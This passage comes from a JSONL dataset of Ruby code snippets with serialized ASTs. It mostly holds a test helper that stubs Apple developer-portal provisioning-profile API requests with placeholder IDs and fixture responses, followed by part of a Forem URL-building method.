s\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileId\"]},{\"type\":\"str\",\"children\":[\"PP00000001\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"getProvisioningProfileAdHoc.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileId\"]},{\"type\":\"str\",\"children\":[\"PP00000006\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"getProvisioningProfileAppStore.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileId\"]},{\"type\":\"str\",\"children\":[\"PP00000002\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"getProvisioningProfileAppStore.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileId\"]},{\"type\":\"str\",\"children\":[\"PP00000003\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"getProvisioningProfileAppStore.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileId\"]},{\"type\":\"str\",\"children\":[\"PP00000004\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"getProvisioningProfileAppStore.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileId\"]},{\"type\":\"str\",\"children\":[\"2MAY7NPHRU\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"getProvisioningProfileAppStore.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileId\"]},{\"type\":\"str\",\"children\":[\"2MAY7NPHRF\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"getProvisioningProfiletvOSAppStore.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileId\"]},{\"type\":\"str\",\"children\":[\"PP00000005\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"getProvisioningProfileDevelopment.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileId\"]},{\"type\":\"str\",\"children\":[\"PP00000007\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"getProvisioningProfileWithTemplateiOSAppStore.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/createProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"appIdId\"]},{\"type\":\"str\",\"children\":[\"R9YNDTPLJX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"certificateIds\"]},{\"type\":\"str\",\"children\":[\"C8DL7464RQ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"deviceIds\"]},{\"type\":\"str\",\"children\":[\"C8DLAAAARQ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"distributionType\"]},{\"type\":\"str\",\"children\":[\"limited\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileName\"]},{\"type\":\"str\",\"children\":[\"net.sunapps.106 limited\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"create_profile_success.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/createProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"appIdId\"]},{\"type\":\"str\",\"children\":[\"R9YNDTPLJX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"certificateIds\"]},{\"type\":\"str\",\"children\":[\"C8DL7464RQ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"deviceIds\"]},{\"type\":\"str\",\"children\":[\"C8DLAAAARQ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"distributionType\"]},{\"type\":\"str\",\"children\":[\"limited\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileName\"]},{\"type\":\"str\",\"children\":[\"taken\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"create_profile_name_taken.txt\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/createProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"appIdId\"]},{\"type\":\"str\",\"children\":[\"R9YNDTPLJX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"certificateIds\"]},{\"type\":\"str\",\"children\":[\"C8DL7464RQ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"deviceIds\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"distributionType\"]},{\"type\":\"str\",\"children\":[\"limited\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileName\"]},{\"type\":\"str\",\"children\":[\"net.sunapps.106 limited\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"Subscription Service iOS (dist)\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"create_profile_with_template_success.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/regenProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"appIdId\"]},{\"type\":\"str\",\"children\":[\"572XTN75U2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"certificateIds\"]},{\"type\":\"str\",\"children\":[\"XC5PH8D47H\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"deviceIds\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"AAAAAAAAAA\"]},{\"type\":\"str\",\"children\":[\"BBBBBBBBBB\"]},{\"type\":\"str\",\"children\":[\"CCCCCCCCCC\"]},{\"type\":\"str\",\"children\":[\"DDDDDDDDDD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"distributionType\"]},{\"type\":\"str\",\"children\":[\"store\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileName\"]},{\"type\":\"str\",\"children\":[\"net.sunapps.7 AppStore\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"repair_profile_success.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/regenProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"appIdId\"]},{\"type\":\"str\",\"children\":[\"572XTN75U2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"certificateIds\"]},{\"type\":\"str\",\"children\":[\"XC5PH8D47H\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"deviceIds\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"AAAAAAAAAA\"]},{\"type\":\"str\",\"children\":[\"BBBBBBBBBB\"]},{\"type\":\"str\",\"children\":[\"CCCCCCCCCC\"]},{\"type\":\"str\",\"children\":[\"DDDDDDDDDD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"distributionType\"]},{\"type\":\"str\",\"children\":[\"store\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileName\"]},{\"type\":\"str\",\"children\":[\"net.sunapps.7 AppStore\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"subPlatform\"]},{\"type\":\"str\",\"children\":[\"tvOS\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"repair_profile_tvos_success.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/deleteProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileId\"]},{\"type\":\"str\",\"children\":[\"2MAY7NPHRU\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"deleteProvisioningProfile.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/createProvisioningProfile.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"appIdId\"]},{\"type\":\"str\",\"children\":[\"2UMR2S6PAA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"certificateIds\"]},{\"type\":\"str\",\"children\":[\"C8DL7464RQ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"deviceIds\"]},{\"type\":\"str\",\"children\":[\"EEEEEEEEEE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"distributionType\"]},{\"type\":\"str\",\"children\":[\"limited\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provisioningProfileName\"]},{\"type\":\"str\",\"children\":[\"Delete Me\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"subPlatform\"]},{\"type\":\"str\",\"children\":[\"tvOS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"create_profile_success.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}]}","id":"d6f693cd-af0d-4a0d-a3b8-684ed30c3e12"}
{"repo_name":"forem","file_path":"./repos/forem/app/lib/url.rb","start_line":30,"raw_source":"def self.url(uri = nil, domain_or_subforem = nil)\n    base_url = \"#{protocol}#{domain(domain_or_subforem)}\"\n    base_url += \":3000\" if Rails.env.development? && !base_url.include?(\":3000\")\n    return base_url unless uri\n    Addressable::URI.parse(base_url).join(uri).normalize.to_s\n  end","complexity_score":20.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"url\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"uri\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"domain_or_subforem\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protocol\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain\",{\"type\":\"lvar\",\"children\":[\"domain_or_subforem\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]}